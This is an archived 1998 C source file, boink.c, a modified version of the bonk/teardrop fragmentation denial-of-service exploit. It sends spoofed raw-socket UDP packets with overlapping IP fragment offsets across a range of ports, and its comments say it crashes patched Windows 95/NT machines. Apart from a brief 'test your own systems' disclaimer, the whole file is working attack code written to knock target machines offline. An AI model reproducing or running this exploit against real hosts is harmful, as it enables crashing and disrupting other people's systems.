home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / boink.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  6KB  |  202 lines

  1. /*
  2.   boink.c - a modified bonk.c
  3.                                 ==bendi - 1998==
  4.  
  5.                         bonk.c        -         5/01/1998
  6.         Based On: teardrop.c by route|daemon9 & klepto
  7.         Crashes *patched* win95/(NT?) machines.
  8.  
  9.         Basically, we set the frag offset > header length (teardrop
  10.         reversed). There are many theories as to why this works,
  11.         however i do not have the resources to perform extensive testing.
  12.         I make no warranties. Use this code at your own risk.
  13.         Rip it if you like, i've had my fun.
  14.  
  15.     Modified by defile(efnet) [9/01/98]
  16.         
  17.         As it stood before, bonk.c just simply attacked port 55.
  18.         Upon scanning my associates, I've noticed port 55 isn't
  19.         always open. It varies in fact, while other ports remain
  20.         open and vulnerable to this attack. I realized that Microsoft
  21.         just might fix this by blocking port 55 off or something
  22.         completely lame like that, and that is unacceptable.
  23.         
  24.         As of this modification, you provide both a "start" and a
  25.         "stop" port to test for the weakness, in the attempt to catch
  26.         a possibly open port. (I've noticed port 55 seemed to come open
  27.         more frequently on machines that were running IE though)
  28.         
  29.         Hopefully this will encourage Microsoft to write a REAL fix
  30.         instead of just make lackey fixes as they've had in the past.
  31.         
  32.         Please only use this to test your own systems for vulnerability,
  33.         and if it is, bitch at Microsoft for a fix. I am not responsible
  34.         for any damage that may come and as stated above by the
  35.         author, this might not even work. I make no claims
  36.         to the ownership to any portions of this source in any way.
  37.         
  38.         
  39. */
  40.  
  41. #include <stdio.h>
  42. #include <string.h>
  43.  
  44. #include <netdb.h>
  45. #include <sys/socket.h>
  46. #include <sys/types.h>
  47. #include <netinet/in.h>
  48. #include <netinet/ip.h>
  49. #include <netinet/ip_udp.h>
  50. #include <netinet/protocols.h>
  51. #include <arpa/inet.h>
  52.  
  53. #define FRG_CONST       0x3
  54. #define PADDING         0x1c
  55.  
  56. struct udp_pkt
  57. {
  58.         struct iphdr    ip;
  59.         struct udphdr   udp;
  60.         char data[PADDING];
  61. } pkt;
  62.  
  63. int     udplen=sizeof(struct udphdr),
  64.         iplen=sizeof(struct iphdr),
  65.         datalen=100,
  66.         psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
  67.         spf_sck;                        /* Socket */
  68.  
  69. void usage(void)
  70. {
  71.         /* fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n"); */
  72.         fprintf (stderr, "Usage: ./boink <src_addr> <dst_addr> <start_port> <stop_port> [num]\n");
  73.         exit(0);
  74. }
  75.  
  76. u_long host_to_ip(char *host_name)
  77. {
  78.         static  u_long ip_bytes;
  79.         struct hostent *res;
  80.  
  81.         res = gethostbyname(host_name);
  82.         if (res == NULL)
  83.                 return (0);
  84.         memcpy(&ip_bytes, res->h_addr, res->h_length);
  85.         return (ip_bytes);
  86. }
  87.  
  88. void quit(char *reason)
  89. {
  90.         perror(reason);
  91.         close(spf_sck);
  92.         exit(-1);
  93. }
  94.  
  95. int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
  96.            int dst_prt)
  97. {
  98.         int     bs;
  99.         struct  sockaddr_in to;
  100.  
  101.         memset(&pkt, 0, psize);
  102.                                                 /* Fill in ip header */
  103.         pkt.ip.version = 4;
  104.         pkt.ip.ihl = 5;
  105.         pkt.ip.tot_len = htons(udplen + iplen + PADDING);
  106.         pkt.ip.id = htons(0x455);
  107.         pkt.ip.ttl = 255;
  108.         pkt.ip.protocol = IP_UDP;
  109.         pkt.ip.saddr = src_addr;
  110.         pkt.ip.daddr = dst_addr;
  111.         pkt.ip.frag_off = htons(0x2000);        /* more to come */
  112.  
  113.         pkt.udp.source = htons(src_prt);        /* udp header */
  114.         pkt.udp.dest = htons(dst_prt);
  115.         pkt.udp.len = htons(8 + PADDING);
  116.                                                 /* send 1st frag */
  117.  
  118.         to.sin_family = AF_INET;
  119.         to.sin_port = src_prt;
  120.         to.sin_addr.s_addr = dst_addr;
  121.  
  122.         bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
  123.                 sizeof(struct sockaddr));
  124.  
  125.         pkt.ip.frag_off = htons(FRG_CONST + 1);         /* shinanigan */
  126.         pkt.ip.tot_len = htons(iplen + FRG_CONST);
  127.                                                         /* 2nd frag */
  128.  
  129.         bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
  130.                 (struct sockaddr *) &to, sizeof(struct sockaddr));
  131.  
  132.         return bs;
  133. }
  134.  
  135. void main(int argc, char *argv[])
  136. {
  137.         u_long  src_addr,
  138.                 dst_addr;
  139.  
  140.         int     i,
  141.                /* src_prt = 55,
  142.                   dst_prt = 55, */ 
  143.                 start_port,
  144.                 stop_port,
  145.                 bs = 1,
  146.                 pkt_count;
  147.  
  148.         if (argc < 5)
  149.                 usage();
  150.  
  151.         start_port = (u_short) atoi (argv[ 3 ]);
  152.         stop_port = (u_short) atoi (argv[ 4 ]);        
  153.         if (argc == 6)
  154.               pkt_count = atoi (argv[ 5 ]);
  155.         
  156.         
  157.         if (start_port >= stop_port ||
  158.             stop_port <= start_port) {
  159.                 
  160.                 start_port = 25;
  161.                 stop_port = 65;
  162.         
  163.         }
  164.         
  165.             
  166.         if (pkt_count == 0)    pkt_count = 10;
  167.         
  168.         /* Resolve hostnames */
  169.  
  170.         src_addr = host_to_ip(argv[1]);
  171.         if (!src_addr)
  172.                 quit("bad source host");
  173.         dst_addr = host_to_ip(argv[2]);
  174.         if (!dst_addr)
  175.                 quit("bad target host");
  176.  
  177.         spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  178.         if (!spf_sck)
  179.                 quit("socket()");
  180.         if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
  181.         sizeof(bs)) < 0)
  182.                 quit("IP_HDRINCL");
  183.  
  184.         for (i = 0; i < pkt_count; ++i)
  185.         {
  186.                 int j;
  187.                 
  188.                 printf ("(%d)%s:%d->%d\n", i, argv[ 2 ], start_port, stop_port);
  189.                 
  190.                 for (j = start_port; j != stop_port; j++) {
  191.                 
  192.                  /* fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); */
  193.                     fondle (spf_sck, src_addr, dst_addr, j, j);
  194.  
  195.                 }
  196.                 usleep(10000);
  197.         }
  198.  
  199.         printf("Done.\n");
  200. }
  201.  
  202.